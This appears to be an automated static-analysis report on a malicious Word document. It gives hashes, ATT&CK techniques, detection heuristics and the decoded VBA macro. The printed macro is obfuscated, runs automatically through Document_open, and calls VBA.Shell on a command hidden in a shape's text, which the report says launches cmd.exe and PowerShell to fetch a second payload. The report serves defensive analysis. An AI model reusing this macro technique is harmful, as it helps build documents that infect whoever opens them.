Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2b20efd72668025…

MALICIOUS

Office (OLE)

72.5 KB Created: 2018-11-09 09:56:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 4f085ab84b7a25690cc35a622e3dcf59 SHA-1: 9b17600bb6cacee71e913d838b8d63fc45f1f550 SHA-256: d2b20efd72668025b8e1cf8e744bbcfca24921417df3e324b97bf5e968e849a0
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains a VBA macro that triggers on document opening. This macro utilizes the Shell() function to execute a command-line interface command, specifically invoking cmd.exe with a /c flag. The command string appears to be heavily obfuscated, but references to PowerShell and cmd.exe are present, indicating an attempt to download and execute a secondary payload. The ClamAV detection further supports the malicious nature of the file.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6745249-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6745249-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       TimeValue HirzNn + woFph + ToQmm + Gdmbs - zuArjn + hFuljv + DRHjaF + rihzUs + qzUDw + NtVHH * (OzFYD + qqCoWF)
    jvBwqps = VBA.Shell(Shapes(HLSrMu + IaikqiKv + 1 + JrimKi + CQBbOCL).TextFrame.TextRange.Text + hDPvW + zwUvA, wGtSLCwQzS)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1395 bytes
SHA-256: 3276ee5e58bd1404454dbe42918bee06bc956f6a0ce4e691dbc606c12151912b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MEkjjik"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function hDisPjbw()
On Error Resume Next
Const wGtSLCwQzS = 691184524 - 691184524
   TimeValue PliBP + sEbYpL + VFqjvz + jHGnDC * WGnTAi + CQatJr + FVfuLD + WPHfZ
   FormatDateTime (YzCfJ + CQwwPE * (wBcNC + SDTNfk * (GvcUZZ + ELXazS + NbvYUr + BFvYb / (KzEkWv + bGnbX))))
   FormatDateTime (MimEQ + zMbZj + (FrfXh + LiPjYE + AHCwW + jVddc * (PrrVkw + wGYmdW)))
   TimeValue HirzNn + woFph + ToQmm + Gdmbs - zuArjn + hFuljv + DRHjaF + rihzUs + qzUDw + NtVHH * (OzFYD + qqCoWF)
jvBwqps = VBA.Shell(Shapes(HLSrMu + IaikqiKv + 1 + JrimKi + CQBbOCL).TextFrame.TextRange.Text + hDPvW + zwUvA, wGtSLCwQzS)
End Function
Private Sub Document_open()
On Error Resume Next
   FormatNumber (sWjrvj + BnYis + phLjZz + dsldmk * pMKXd + ZIEhKP * kfPqN + QSQmnW + jOAlD + LMjpd - FzRjc + WKqrzc)
   FormatDateTime (JTDYZ + AbMKI * (iFDvE + moHdzm / JRMKpQ + qovrJ))
   FormatDateTime AdmGY + zQGvn / qGHfU + lQEoR + tjdqJ + mwain
   TimeValue (sNfKAF + BJikj / XrWzC + MPNoi)
hDisPjbw
   FormatDateTime fZABtL + LcWRC + unQtzd + tcmlz + EOPGi + LNziFE
   FormatNumber JqhLSd + cEFGEi / VkBtJ + puaacb
End Sub